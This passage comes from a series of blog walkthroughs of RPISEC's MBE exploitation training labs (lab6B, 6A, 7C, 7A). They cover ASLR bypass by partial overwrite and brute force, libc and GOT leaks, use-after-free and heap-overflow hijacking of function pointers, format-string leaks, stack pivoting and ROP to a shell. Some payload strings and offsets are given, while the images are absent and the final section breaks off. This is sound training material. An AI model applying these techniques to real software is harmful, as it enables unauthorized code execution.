Knowing that the hash_pass() encoded the stack variables with 0x52, we XOR them with 0x52 to make them make sense again:

OK, time for the second payload. This time we'll use 'D' (0x44) as username, only to emphasize that it can differ here.

Obtaining the offset of the login() function:

Calculate the current ASLR-ed address of the login() function by preserving 20 most significant bits from the original saved RET and adding the fixed offset 0xaf4 to it:

Now crafting the payloads for saved RET and attempts. We want such a value, which, when XOR-ed with currently messed up saved RET on the stack, will become the new_ret address. As we know the current value of the messed up saved RET (the xored_ret variable), we XOR it the new_ret and save it in new_ret_payload.  When this value gets XOR-ed with xored_ret in one stack with a hash_pass() call, two XOR-s with xored_ret will make that value equal new_ret (this is why I titled it "madness"):

Now the attempts value. We decode it with the 0x52 key from the first attempt, increment it by one (to get past the last, third iteration of the while loop instead of having to perform another dummy authentication attempt) and encode it back :

Now, one last layer of encoding. Before sending, we need to XOR everything with the username value we chose for the second attempt, so the hash_pass() call XOR-ing the password with it will reverse this process, making those values ready to be XOR-ed against the rest of the stack:

And lastly, we assemble the payload, fill it up to 32-bytes with some arbitrary character (e.g. 'E') and send it:

And here we go. Triggering the leak and the first out-of-bonds XOR:

Receiving the leak:

Sending the second authentication attempt payload:

And we're done:

The full source code with comments can be found here:

https://github.com/ewilded/MBE-snippets/blob/master/lab6B/exploit_remote.py

MBE is fun - lab6A walkthrough

5 June 2019 at 20:01

I'll try to keep this one short.

What we are going to cover

We are not going to overwrite the saved RET on the stack (we're gonna have a different pointer available, without touching the stack protector). We are  also going to:

  • beat ASLR with an initial tiny little taste of brute force combined with a partial overwrite
  • do some leaking
  • do some offset-based calculations
  • do some more overflowing and overwriting
  • do some more leaking
  • again some overflowing with overwriting
  • then we'll call up our shell.

What's vulnerable

Looking at the source code of the target app (https://raw.githubusercontent.com/RPISEC/MBE/master/src/lab06/lab6A.c) I felt a bit confused, seeing how much code it has - comparing to previous apps.

Noticing a good deal of unused code reaffirmed my feeling that this app was either intended to be solvable in multiple ways or was expected to be solved in a very painful way, requiring multiple steps and gadgets to be used (which would mean that the originally intended solution was slightly more complicated than what I came up with).

For the sake of brevity, I am only going to bring up parts of the code I found relevant for getting arbitrary code execution.

First, there's a simple structure definition, holding two buffers and an integer:

OK, now the main() function (this is where the uinfo structure is instantiated, by the way):

From all of the above, we are in fact only interested in:

1) line 75: an instance of the uinfo structure gets declared as a local variable, which means it's on the local stack of the main() function

2) line 91: the address of the print_listing() function is assigned to the merchant.sfunc integer value

3) line 113: if we type '3', we call the function from the merchant.sfunc address, passing the address of the merchant structure as an argument.

4) line 107: if we type '1', we call the setup_account() function.

We don't care about the print_listing() function, we are not going to use it, neither anything else not mentioned so far.

Now, the setup_account() function. This is where our neat buffer overflow resides:

The vulnerability is sitting in the expression being the first argument to memcpy().

As temp is 128 bytes long, user->name can be up to 32 bytes and the fixed " is a " string is 6 bytes long, we are able to overflow the user->desc buffer by 38 bytes.

If we look at the uinfo structure definition again, we can see that the sfunc pointer resides right after the desc buffer, so it becomes clear how we are going to achieve execution control. We are actually going to exploit this three times to execute arbitrary code.

What's useful - a few gadgets

On line 69, there's a nice and very simple function print_name():

It's not called anywhere in the code, but it's definitely a good gadget for leaking. Will print any buffer pointed by the argument, until a nullbyte is encountered.

Also, on line 29, there's a definition of a strange function. This function does not get called anywhere from the rest of the program, clearly suggesting it being intended to be used as a gadget.

It simply writes 8 bytes of the buffer pointed by the value pointed by its argument (a pointer to a pointer) to the standard output:

In fact I found it quite handy using it as a gadget in leaking information needed for properly constructing the final code execution payload.

Leaking the address space layout

So, we want to overwrite the sfunc integer with an address of the print_name() function, as it appears to be the best (simplest) way to leak some memory.

This is how the stack looks like when the setup_account() is called (with 31 'A' characters + newline as username, plus 90 'B' characters to fill the desc (32+90 = 128), to stop exactly before touching the original sfunc value (the address of the print_name() function):

Let's see what offsets our functions have (output from gdb on a binary that was not run before, hence all bases are 0x00000 and only offsets are visible):

OK, so we can do a partial overwrite (by using 130 bytes instead of 132), only overwrite two least significant bytes of the pointer, leaving the base value (which we won't know at the time of exploitation) alone. This is a common ASLR bypass technique. We want to 9e0 become be2.

The problem is that we can't simply overwrite half-bytes, only whole bytes. This means we have keep trying (brute force) with some arbitrary value of the first half-byte we do not know (because it's part of the base provided by ASLR), until we hit an instance of the program when in fact that half-byte will be equal to it, so overwriting it with our arbitrary value won't mess up the address.

'b' is the value I chose, as I saw it appearing in an actual address in gdb (see the screenshot above).

Hence I decided to try doing this partial overwrite to print_name with an arbitrary value of 0xbbe2, whereas the first be2 is the known offset of the `print_name` function while the preceding 'b' half-byte is a guess. First two most significant bytes are left intact (it's important to avoid sending out the trailing newline, as it will overwrite the third least significant byte with 0x0a and we definitely don't want that!):

A sneak peak of the exploit code

To automate this a bit, the routine was put into a loop:

This does not need many attempts as there are only 16 possible values a half-byte can have.

If the address is incorrect, the program will crash right after calling the 'View info' option by sending '3'. If it does not crash, print_name(&merchant) was successfully called, with the entire merchant (name + desc + print_name_addr) content being printed out up until the nearest nullbyte down the stack.

And this is how it looks like:

This way we have leaked the entire base of the code segment, after guessing its least-significant half-byte. Now we can do calculations, so we know exactly the value we'll overwrite the sfunc pointer next (we will NOT restart the program from now, but keep overflowing and calling from now on - no more bruteforce!), to achieve arbitrary code execution.

Again, the exploit snippet:

Calculating libc system() - the hard way

So, I obviously thought of the simplest system("sh") similar to ret2libc. Let's just overwrite the sfunc with the address of the libc system() method.

But how are we going to know what it is? Well, we can obviously calculate the offset between system() and printf():

So, in our libc printf()'s address is 0xd0f0 above system()'s. Hence, all we'll need to do to achieve system()'s address will be a subtraction of this value. Then another overwrite with setup_account() and we should get our shell.

OK, where do we get that (printf()'s address) value from? It should be in our address space (GOT, in the data segment), because printf() is being used by our target program so it is definitely linked and already resolved in GOT by the PLT routine (the PLT routine is in the code segment, by the way).

A quick search showed that this is the case (the program was broken on a breakpoint at setup_account(), so GOT was resolved already (0xb7707000 0xb7708000 was the range of the data segment in that instant):

The above also showed that the relevant GOT entry (0xb7707010) was located at offset 0x10 of the current base address of the data segment (0xb7707010 - 0xb7707000 = 0x10).

But then I thought: but how do we leak the data segment address?

I started looking at the code to notice that it is being passed on the stack, e.g. for the ulisting-operating functions like make_listing().

I could read that from the stack. But how do I leak the stack address first?

Oh fuck no, it looks like I am going to have to redirect the execution to that make_note() function first and exploit it first? Nah, this is madness. There has to be an easier way!

Calculating libc system() from here - the easy way

So, below is a sample full output of the vmmap command (this time addresses are slightly different than the ones earlier, this is due ASLR, nonetheless the same rules apply):

Notice something? The three consecutive segments marked red, are, respectively:

  • the code segment
  • the read only data segment
  • the data segment

And they create a continuous range of addresses, which suggests they are aligned at fixed offsets from each other. Let's run the program several times and check if this is the case:

Yup. We can clearly see that data, code and rodata share the same base. Awesome, looks like we found a shortcut.

rodata is is 0x2000 bytes greater than code, data is 0x1000 greater than rodata.

So, once we have the base for the code segment, we simply add 0x3000 to it and get the base for the data segment. Then we add the known offset and we know the address of printf()'s GOT entry. So we know where to read from the libc printf() address. Then we can calculate the address of system().

The exploitation algorithm from here

The first overflow allowed us to leak the base of the code segment and calculate everything else we need for exploitation. Now we want to:

  1. Trigger the overflow for the second time, this time to overwrite the sfunc value with the address of the write_wrap() function (which is perfectly suited to leak the GOT after being provided its address, because the GOT itself is a pointer). With the GOT address put in front of the merchant object (name buffer), so it becomes the argument to the sunc(&merchant) call.
  2. Leak the printf() libc address by calling the newly overwritten sfunc.
  3. Trigger the overflow for the third time, this time to overwrite the sfunc value with the address of system(), while putting the arbitrary command in front of the merchant object (name buffer).
  4. Cll it!

How the second overflow unexpectedly failed and why. read() and strncpy() to the rescue.

So, the last surprise here was that the second overflow failed. Instead of leaking the GOT, the whole buffer was printed again. This meant that the sfunc was not overwritten this second time and that in result of "pressing" '3', print_name() was called once again.

After looking at the code I figured out why. The merchant->user and merchant->desc buffers are initialized with nullbytes only before the while loop and never again.

This means that after filling both buffers with non-null values, the next time setup_account() calls this memcpy:

the strlen(user->desc) expression is going to return much more than 32 (as it did in the first call), because after the first overflow at least 128 bytes of the user->desc buffer already contain non-null bytes. This will effectively make this second overflow go much further, starting overwriting beyond the pointer we want to overwrite.

Just before that memcpy() happens, this is how user->desc is impacted:

So if we need that strlen(user->desc) to return less, this time we have to inject a nullbyte into the user->name buffer (via the read() call on line 60) and let it be propagated to user->desc by the following strncpy() call. Luckily both read() and strncpy() support this :D

After that - depending on which character we put the nullbyte at, the strlen() call will return no more than 32, making the sfunc pointer again within the reach of our overwrite. We just need to properly calculate how many bytes will there be to fill between the beginning of the user->desc buffer and the sfunc variable (the sum will always be 128).

And since merchant is the argument to the sfunc() call, we put our arbitrary command (argument for system()) in the beginning of the merchant->name buffer, as it's the first field of the structure anyway):

And here we see the final action:

The exploit

The full exploit code can be found here:

https://github.com/ewilded/MBE-snippets/blob/master/LAB6A/exploit.py

Exploiting the same Use after Free twice to leak the mem layout and execute code - MBE LAB7C walkthrough

13 June 2019 at 16:41

The target app

This time we are dealing with a very plain and simple UaF vulnerability. The source code can be found here: https://github.com/RPISEC/MBE/blob/master/src/lab07/lab7C.c

Right away we can see two data structure definitions, which more-less suggest what we are going to be dealing with (structures holding some data along with some function pointers):

While the menu clearly shows what operations are available:

After creating instances of the structures we'll be able to call their dedicated print functions pointed by the (* print) pointers.

If you are familiar with Use after Free, you already know it will all boil down to allocating space for one of them, filling it with arbitrary data wherever we can control it, then asking the program to remove it, then allocating another instance of another structure in the same space previously taken by the first one - and then abusing an old pointer used for tracking the first structure to perform the structure-specific operation, making a function call to an arbitrary address we smuggled inside the data of the second structure.

How data is aligned in memory

So, to find out what fields of the number and data structures overlap with each other and therefore can be used to decide on the exploitation sequence, first we need to know exactly how data is aligned in memory.

We already know that the number structure is 16 bytes long, while the data structure is 32. So we would expect to have to use two number structures to fill the space previously taken by one data instance.

So I ran gdb to find out I was wrong. I allocated three numbers in a row, then took the current heap start address from vmmap output (important to do this AFTER the first allocation, otherwise you won't even see the [heap] section in vmmap output because it won't be allocated by the OS) and had a look. Then I restarted the program and did the same with the number structure. The results are illustrated by the screenshot below:

Comparison of the view of the heap after allocating three number structures versus three data structures

As we can see, both structures take 32 bytes (the 16-bit structure is automatically padded to 32 bytes). This is very convenient for us, as we won't have to struggle with aligning different numbers of instances against each other to achieve the favorable alignment allowing us do something neat.

Combining mutually-overlapping fields of both structures to find the proper codexec UaF scenario

So, since I already started with the visualization thing to clearly see the memory layout, I decided to take further advantage of it to compare what fields in one structure correspond to what fields in the other.

On the upper part of the screenshot (number) function pointers were marked red, actual numbers were marked green. On the lower side of the screenshot (data) function pointers were marked green, last four bytes of the string were marked red:

Looking at this for just a few seconds made it clear to me how to achieve execution control.

We can see that in the number structure, the function pointer (0xb770ccb4 on the screenshot above) occupies the same space that, when allocated with a string, always contains at least one nullbyte (0x00414141 on the screenshot above). This is because the string is automatically null-terminated by fgets() and we can't control it.

Hence, allocating a number, then deleting it, allocating a string in its place and then requesting the program to print the number won't get us far  (we'll crash the program if we call 0x00ANYTHING), as we only control up to three bytes and we are not even overwriting a function pointer, so a partial overwrite won't help us (fgets will always put a null where we want something arbitrary/the most significant byte of the base).

At the same time we can see that the space holding the actual number value (0x41414141 on the screenshot above) which we can control fully as numbers from all ranges are acceptable), sits in the same place as the function pointer for the string structure ( 0xb774dc16 on the screenshot above). Hence, allocating a string, deleting it, creating an arbitrary number and then requesting the string to be printed would effectively lead to the program trying to print the already freed  string with code pointed by our newly created number, still treating it as a pointer to the data-> print(big_str/small_str) function.

Let's try it.

We add a string (its contents are irrelevant, we are only interested in having data structure's print function pointer propagated onto the heap):


Now we remove it:

OK. Now we are going to introduce the pointer address we will trick the target program to call (in our final exploit this will be the address of system()). Let's say we want the program to crash by calling address 0x31337157 (because it's not a valid address in its address space).

Calculating the decimal format:

$ printf "%d" 0x31337157
825454935

OK:

Now, asking the program to print the string 1 should lead to a segfault at 0x31337157:

Yup. And the string itself will be useful to us to control the arguments (so we'll put system()'s address instead of 0x31337157 and "sh" as the string, leading to system("sh")).

If we look at the corresponding fields on the heap layout we'll see that first 16 bytes of the string buffer are occupied by the reserved fields in the number structure, which means that if we allocate a number after removing a string, taking the space it was allocated on, the first 16 bytes of the structure (6 bytes reserved and 2 bytes of padding) will be left alone with the old values from the string.

So calling system("sh") should be doable:

  1. create a string "sh"
  2. delete the string
  3. create a number == libc system()'s address
  4. 'print' the string

The only problem we have got left to figure out is how to leak the memory layout to bypass ASLR.

Combining mutually-overlapping fields of both structures to find the proper UaF leak scenario

Looking at the layout again brought me the potential answer to this literally after the first glance (which proves how crucial it is to have the literally see the layout).

As we want to leak memory, we need to call a function taking an argument that happens to be/store a pointer.

The goal is to see both possible states of the memory combined and find such a combination of values that will let us achieve our goal. Let's look at the layout again, this time focusing on two particular neighboring double word values we would like to have in one state - and then think if we can groom the memory into that state:

When the space is occupied by a number structure, the +0x20 address contains a pointer (the print function, marked green), while +0x24 contains data (the number, in this case 0x41414141 - but that's irrelevant to our goal, thus marked grey).

Conversely, when the space is occupied by a data structure, the +0x20 address contains data (the last three bytes of the string and its terminating nullbyte - useless to us, hence marked gray), while +0x24 contains a pointer (the print function, marked red).

We want to trick the program to create that state, so we can call the big_num/small_num  number-printing function, with the address of the string-printing function sitting in the space previously occupied by an irrelevant number before it was free()'d and then allocated again (but not entirely overwritten!) for the string structure.

So, we create a number, then we remove it (so the number[index] is not 0, even though the structure it was pointing at was 'removed', which means free()'d).

Then we create a relatively short (less than 15-character) string, to avoid fgets() overwriting the last four bytes of the buff[20], because that is where the old number's print pointer is held and we will want to call it, so it prints out the address of the string-printing function for us, thus leaking to us the mem layout info needed for calculating the system()'s address.

Let's try this slow motion, using a breakpoint in the main loop: b *(main+169).

First, we allocate a number (1):

Now, this is the heap:

Now, we remove the number:


And again, this is the heap (yes, everything is still there after free()):

Now, we make a string up to 16 characters:


Now, this is the heap:

Now, requesting the program to print the number[1] will make it call 0xb779dc65 (big_num) with 0xb779dbc7 as argument, so we have our leak:

So, we have a number vomited out. Let's convert it to a format more readable to us (hex):

Looks good. Let's confirm in gdb:

Confirming that the leaked address is the address of the small_str() function

Awesome. It looks like we have all the bits and pieces to develop an exploit! :D

Calculating system()'s address

This time I decided to skip leaking the contents of the printf()'s GOT entry (as I did in https://hackingiscool.pl/mbe-is-fun-lab6a-walkthrough/) to calculate the system()'s address.

Instead, I decided to find out whether libc's system() address could be calculated based only on the leaked base of the target program's code segment - and it turned out it can! At least on the VM provided for MBE.

Either way, first let's have a look around just like we were about to leak the GOT anyway:

Here are, respectively, our code, rodata and data segments (again, creating a continuous space with fixed offsets from each other):

OK, now we search these ranges for the 0xb7622280 value (the address of printf()) as we know it has to be stored in GOT after the first printf() call:

This time (as opposed to what we had in https://hackingiscool.pl/mbe-is-fun-lab6a-walkthrough/), our entry is at 0xfa4 offset in the rodata (read-only data) segment, which at the time of taking the screenshot above was at base 0xb77b4000. This is most likely the result of the -z relro gcc compilation flag:


That's OK, this is a countermeasure against GOT overwrites, we don't care about it this time at all.

If we were doing this the usual way,  we would leak the code base first. Then we would calculate the rodata address to then calculate the printf()'s GOT, so then we would leak printf()'s address from it.  And then based on its fixed offset from system() within libc itself, calculate system()'s address. Then get a shell.

But let's try more directly and run the program for a few times, observing the vmmap output, focusing on the relation between the target app code segment base (which we can already leak) and the libc base (which we want to know as well):

Another run:

Yup, in both cases the offsets are the same:

Hence, one leak is enough here (which would not be the case for the stack or the heap, but we don't care about those here).

So, once we subtract 0x1dd000 from the leaked target app code base, we have the libc code base.

Now we want to know system()'s offset within the libc itself (as opposed to calculating the difference from the relative printf() offset):

The required calculations can be done with below python code:

Python offset calculation

With all this in place, we can already exploit the program.

Manual exploitation

This exploitation can be easily conducted by just interacting with the program in console by properly choosing menu options and entering simple strings and numbers:

Full python exploit (pwnlib)

https://github.com/ewilded/MBE-snippets/blob/master/lab7C/exploit_shell.py

Heap overflow with stack-pivoting, format string mem leaking and first-stage ROP-ing to shellcode after making it executable on the heap - on a statically linked binary (MBE LAB7A)

22 June 2019 at 11:22

This is was one of the most painstaking ones (which is reflected in the length of this write up). While finding the vulnerability was trivial, building a working exploit was quite of a challenge here.

The target app

The target app https://github.com/RPISEC/MBE/blob/master/src/lab07/lab7A.c is, on the face of it, quite similar to the previous one LAB7C.c (https://hackingiscool.pl/exploiting-the-same-user-after-free-twice-to-leak-the-mem-layout-and-execute-code-mbe-lab7c-walkthrough/). But instead of Use after Free, it's vulnerable to a multi-stage heap-based overflow.

There is a structure with buffers, length field and a pointer to overwrite:

And there are standard CRUD (Create/Read/Update/Delete) options available from the user interface, which - when chosen - call relevant functions:

The vulnerability

The initial (and very short) heap overflow resides in the create_message() function and was quite trivial to find:

It gets interesting when the program asks the user to provide the length for the new message by calling get_unum() (which is defined in https://github.com/RPISEC/MBE/blob/master/include/utils.h, for the record):

So, the vulnerability resides on lines 109-110:

While MAX_BLOCKS is 32, BLOCK_SIZE is 4.

msg->message[] buffer size is 128 (MAX_BLOCKS*sizeof(int)).

Results of arithmetic division operations on integers give integer results. So, 128/4 == 32, but also 129/4 == 32, 130/4 == 32 and 131/4 == 32.

129,130 and 131 are possible length values we can sneak in without hitting the (new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS condition and having our input length overwritten with the safe value of MAX_BLOCKS*BLOCK_SIZE.

And then, right away after smuggling the slightly bigger new_msg->msg_len, in the same create_message() call, we have this:

So, read() (to which there are no bad characters, by the way! :D) writes new_msg->msglen bytes from standard input to the new_msg->message buffer. So we can overflow the new_msg->message buffer by up to three bytes. And what will we overwrite this way? Yup, the msg_len field! This way we can achieve having created a message with nearly any size in msg_len, as we can control 3 out of its 4 bytes.

This can be taken advantage of in the edit_message() function:

Here is the second heap overflow, directly resulting from the first one, making it possible to overwrite the heap contents far beyond currently edited message body and its length field (so we will overwrite the print_msg pointer of the next message we create on the heap, getting a foothold into execution control).

Also, note the numbuf[32] buffer used to store user input before converting it to an integer used for message index (with 10 being maximum expected number of messages, which are indexed from 0, hence one digit is actually enough to store the index). We are going to use it later.

More insight on the target app

First of all, LAB7A.c comes with the following readme:

This is the way it is being run (output from ps aux from the gameadmin/root user):

lab7end 12237 0.0 0.2 5076 2116 ? S 18:39 0:00 socat TCP-LISTEN:7741,reuseaddr,fork,su=lab7end EXEC:timeout 60 /levels/lab07/lab7A

So, it is running as the lab7end user (so we would have to become root to debug it) and has ugly timeout of 60 seconds, making debugging additional hassle.

So, we should work locally, on /levels/lab07/lab7A, or on its copy in /tmp.

This itself will not let us get rid of the timeout... because it is also implemented with the following macro call on line 10:

The macro boils down to calling alarm(60) and setting the alarm handler to a function doing exit().

I initially tried to work on a version I manually recompiled (with the only difference being the timeout parameter changed from 60 to 0 to effectively disable it), using the same flags... and I thought it was OK... but then later when searching for ROP gadgets I noticed slight differences in offsets, so I decided to work on the original copy instead and just add an automated call alarm(0) to my gdb script (-x commands.txt).

Second, we will have to write a custom shellcode here this time, as the binary is compiled statically (libc will no longer be dynamically linked, instead only the required functions are statically linked, which means they are built in the executable):

/* compiled with: gcc -static -z relro -z now -fstack-protector-all -o lab7A lab7A.c */

Simply returning to libc's system() won't be an option as we won't have the entire libc dynamically linked. Instead, only the libc functions actually used by the program would be linked in, by putting their code into the same code segment as program's own code. This will definitely make exploitation more difficult.

Another specific property is the lack of -fPIE -pie flags, the result of which was the code segment not being ASLR-ed, so all the functions and ROP gadgets are at fixed addresses (which will, in turn, make the exploitation easier). Still, other segments get ASLR-ed (except for the heap, which turned out kind of tricky - although its range in the target app was the same every time I checked, the first address returned by malloc() varied between instances, making the need for leaking).

How data is aligned in memory - getting our first crash at an EIP we control

Ok, let's run this.

A look at the vmmap output:

An interesting thing to notice, the heap is already mapped as well, even though we have not issued a single malloc() yet (as opposed to https://hackingiscool.pl/exploiting-the-same-user-after-free-twice-to-leak-the-mem-layout-and-execute-code-mbe-lab7c-walkthrough/), this is most likely due to the lack of -fPIE -pie flags.

Creating and viewing the first message:

OK, let's see it in memory:

Oh, this was unexpected. Where is it then? Let's find it by searching for any part (first four bytes) of the XOR pad/encrypted output we just displayed above. Search for the literal did not work due to endianness, search for the bytes in reversed order did the trick:

OK, let's see it (we need to aim a bit wider, as 0x80f19d4 is just the beginning of the XOR pad, while we want to see the entire structure and the preceding malloc metadata):

OK, now we create another message and have a look again:

Now, this is the layout with the messages sitting on the heap:

This should give us clear picture of how to start make the program call an arbitrary address. After we create message #0 with an arbitrary length value bigger than 140 (128 for the message body + 4 for the overwritten once again length value + 8 bytes for the malloc meta fields = 140), we will start overwriting message #1's print_msg() pointer, then the message #1's XOR pad, then the message #1's body itself.

Afterwards we ask the program to print message #1, making it call our overwritten #1's print_msg pointer.

First crash

So we create a new message, with arbitrary length of 131 (max we can sneak through the faulty boundary check) and we use those additional three bytes to smuggle three 'C's:

Step 1

Now, those three 'C's overwrote the three least significant bytes of the original msg.len field, turning it from 131 to 1128481536:

OK, cool. Let's proceed to a careful overwrite of a pointer. Luckily, we don't have to be very careful when it comes to the arbitrary value of the message length field we put here. CCC (0x0043434) is good enough, because we don't have to fill the full length of 1128481536, read() will stop when no more data is available from the standard input, at first we'll just write 144 bytes, with the last 4 being the new pointer for the next message's print_msg() function.

So:

  1. We create a message with declared length 131 and following content (this will be index #0):
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCC (already done).

  2. We create a second message with any length and content (irrelevant now).

  3. We edit the first message, filling it with this payload (ZZZZ will be the hijacked EIP):
    $ python -c 'print "A"*140+"Z"*4'
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZ

  4. We ask the program to print the second message (index #1) and watch it crash on ZZZZ.

Step 2
Step 3 - this time we put 144 bytes as the message body
Step 4

We control EIP, now what

Controlling only the EIP is not sufficient to make the program do exactly what we want. As long as we cannot simply inject a shellcode to an executable memory range and jump to it (and we can't - at least not yet :) - as we are dealing with DEP/NX), we need to go with ROP approach. Even if we were not doing an actual ROP chain, but a simple overwrite of the controlled pointer to system()'s address (which we can't here, as mentioned before), we still need to control the argument that function call is expecting to have on the stack when called.

Let's be entirely clear, this is what we hijack:

messages[i]->print_msg(messages[i]) call inside the print_index() call.

So, at the time of execution of our arbitrary EIP, the argument on the stack will be a pointer to messages[i] structure on the heap (with its first field being the print_msg pointer, by the way). Even if we could make EIP point at system(), we would still want the stack to contain a pointer pointing to a buffer we control - as opposed to the XOR pad, which is filled with random data.

This is what the stack looks like at the time function print_msg() (or ZZZZ) is entered:

The saved RET points to the next instruction in print_index(), messages[i] points to the beginning of the message structure on the heap.

Then I noticed that mprotect() is linked into the program:

So I instantly recalled XPN's ROP Primer writeup (https://blog.xpnsec.com/rop-primer-level-0/) and thought 'fuck yeah, I am gonna set EIP to mprotect() and make the heap executable, the buffer address is the first argument... but what about the next two?'

So the next two variables on the stack being 0x00000000 and 0x0000000a were ALMOST what I thought would suffice. 0x00000000 is where the buffer length should be (0 is not great for length), while 0x0000000a would serve as the flags (0x7 is RWX, so oxa includes 0xb, we would be fine as long as this flags value is not invalid). Obviously, this did not work (at least because of the 0 as length, but probably there's more than there is to it - we'll be back to this later).

Anyway, I started wondering whether I can control that 0x00000000 and 0x0000000a on the stack, only to figure out where they come from: they are a survival from the strtoul(numbuf, NULL, 10) call in print_index() right before our message is printed (it's the NULL and 10, last two arguments to strtoul()):

So I looked at the registers state and the stack at the time of the call/crash, looking for anything to hook on, any candidate for the next step in execution control that would allow us make the memory and registers alignment more favorable - and put my attention to EDX, as it was pointing to the buffer we control (remember, we can write past the ZZZZ any number of bytes we want!):

So I started wondering, what if I could find a ROP gadget that would somehow mv EDX to ESP, tricking the program to start using the heap as the stack? Then we could place the rest of the ROP chain on the heap, as we are having a hard time trying to control the stack right now.

By the way, ropeme is a nice tool for this (the lab7A.ggt was previously created by the same script, by calling generate on the target binary):

Well, let's just say I could not find the proper gadgets (looking for stuff like mov edx, esp; ret; or push edx; pop esp; ret). The two pop esps were not preceded with what I needed once I checked in gdb with x/5i address-offset. And yup, I tried x/5i address-offset for different offsets, as the instructions will vary depending on what offset of the opcodes we hit - which sometimes can work in our favor as we can find a gadget that does not exist under any offset normally operated by the program when it executes as intended - I accidently came across this being mentioned here https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/emerging-stack-pivoting-exploits-bypass-common-security. Plus, sometimes this phenomenon is abused as an anti-disassembly technique - which I learned from this workshop whitepaper which I recommend: https://github.com/theevilbit/workshops/blob/master/Anti Disassembly Workshop/Hacktivity 2015 - Fitzl Csaba - Hello Anti Disassembly.pdf.

But back on the subject!

As after about two hours I felt stuck, I decided to peek into Corb3nik's solution  https://github.com/Corb3nik/MBE-Solutions/tree/master/lab7a for clues.

Corb3nik's solution - tricky format-string-based leaking of the heap pointer after sneaky stack-grooming

Reading Corb3nik's exploit made me realize that leaking a heap-stored message pointer would in fact be needed for a reliable exploit to work - if we want to use the heap for our payload (as we could alternatively use the stack - but then we would need to leak the stack address, so it does not really make much difference at this point). So leaking has to be done before proceeding to attaining arbitrary code execution. And it turned out to be tricky (no comfy gadget this time, like with https://hackingiscool.pl/mbe-is-fun-lab6a-walkthrough/).

So, if we want to leak something, we can overwrite the EIP with printf()'s address, which as we know is fixed in this case. But what about the argument? When doing heap overflow, we overwrite the next message print_msg pointer and if we keep writing, we overwrite it's XOR pad. Then if we ask the program to print the message, it will call printf() with just one argument, being the pointer to the message[i] structure:

messages[i] (0x080f09d0 at the moment) looks like this:

Now here's the trick. If printf() treats the entire buffer pointed by messages[i] as a string, the XOR pad we overwrite past the print_msg pointer (which itself we overwrite with printf()'s address) can contain a FORMAT STRING expression.

This means that if we overwrite the XOR pad (pointed by messages[i]) with a string like %1$p, it will print the value of the next dword on the stack, right to the heap pointer itself - exactly where the next argument to printf() would be, if it was called with that format string properly (like printf("%1$p",some_pointer_to_be_printed_out);):

This way, we can pick an arbitrary value from the stack we want printed plain and clean in proper pointer format (thus the %p, whereas number$ index selects the number of the value from the stack). So, even the nullbytes on the stack are not an issue.

As we can see on the screenshot above, we could already leak the stack (the last value to the right at the bottom, 0xbffff728 in that case) if we wanted to use it for storing the final payload. Something I realized only while writing this up and have not tried pursuing.

In Corb3nik's solution - which I followed - heap was used to store the payload (a ROP chain execve(/bin/sh) shellcode), by using a pop esp; ret + payload_addr_on_the_heap first-stage chain to trick the program to start using the heap as the stack - something I originally wanted to do when I got stuck.

So,  the problem with this approach is that we do not actually have a pointer pointing to the heap anywhere on the stack while print_msg()/printf() is called - except for messages[i] - but messages[i] is literally the first argument from printf() call's perspective and we cannot reach it with %0$p format string (I tried)... we can reach everything past it, but not it itself. And it's not held anywhere on the heap itself either, so just leaking the heap without a format string at all wouldn't help.

This is where Corb3nik used a recurrent call of print_index() from within print_index(). In order to achieve this, four messages had to be created, because two overwritten pointers were needed:

  1. By overflowing message #0, message #1's pointer was overwritten to print_index() (so this is why we already had to create two messages).
  2. By overflowing message #2, message #3's pointer was overwritten to printf(), with its XOR pad being overwritten with the format string (thus, two more mesages).
  3. Then, by asking the program to print message #1, we have it call print_index() from the menu and asks for the number of the message to print. Once the number is provided, print_index() calls print_msg() - or whatever pointer we put there. Since for message  #1 we overwrote this pointer with print_index(), by asking the program to print message #1 we manage to have a recurrent print_index()->print_index() call. This way another set print_index()'s local variables and arguments is put on the stack, along with messages[i]. When the second print_index() call asks for the message number to print, we chose #3, because its print_msg() pointer was overwritten with printf()'s address and its XOR pad with our format string.
  4. This way we achieve the print_index()->print_index()->printf("%20$p"), creating and exploiting a format string condition.

Below is the stack of print_index():

Below is the stack of print_index()->print_index():

So the stack's properly groomed for leaking the address of messages[i]. From this point we can calculate the offset to the XOR pad we decide to put our payload in. We'll get back to this, now let's find out how to take control of the stack and start our ROP.

Corb3nik's solution - ROP-based stack pivoting

By analyzing Corb3nik's solution, after comprehending the convoluted heap address leaking, I realized that he started his ROP chain with a pointer pointing at a mov ecx, esp; ret; gadget (changing the stack pointer to the value of ECX). We saw a bunch of those earlier in ropeme output, when we were searching for stack-pivoting gadgets. I felt puzzled, as back then when looking at the state of the registers the only register that appeared to have a useful value was EDX.

I understood the use of ECX after I analyzed the way he provided arguments to the final print_index() call in his exploit, made me understand the trick:

So let's not focus on the ROP chain itself now (it makes ESP point to the buffer on the heap and then ret to it, as mentioned before, turning the heap into program's stack, because why not :D - I decided to go a different route, later on that).

Let's focus on the way the chain is delivered - along with the message index!

Again, print_index() source code, focusing on a part we did not pay much attention to before:

So again, this is the function that calls our overwritten pointer. It will trigger the exploitation by calling print_index()->mov ecx, esp; ret;.

Its local variables are held on the stack. Then it makes the call to print_msg() - or whatever we overwrite it with, putting more variables (call arguments, stack frame, saved RET and any local variables if needed) to the stack. This means that the numbuf[32] is there on the stack - and that's where ECX happens to point when messages[i]->print_msg(messages[i]); occurs.

While fgets() allows us to stuff 31 bytes into numbuf[32], only the first one needs to be a digit corresponding to the chosen message index, the rest can be anything non-null we want to place on the stack, as the later strtoul() conversion will simply ignore it - and ECX points there:

So, after we have any message structure on the heap with its print_msg pointer  overwritten with one of the mov ecx, esp; ret; gadgets (e.g. 0x80bd536), we can simply ask the program to print a message and provide it's index along with up to 30 bytes of our ROP chain.

So now we control EIP, we control the stack and we can overwrite the heap pretty much anyway we want. Now we can talk!

My last-stage ugly alternative - shellcode to heap, mprotect() heap RWX and ret there

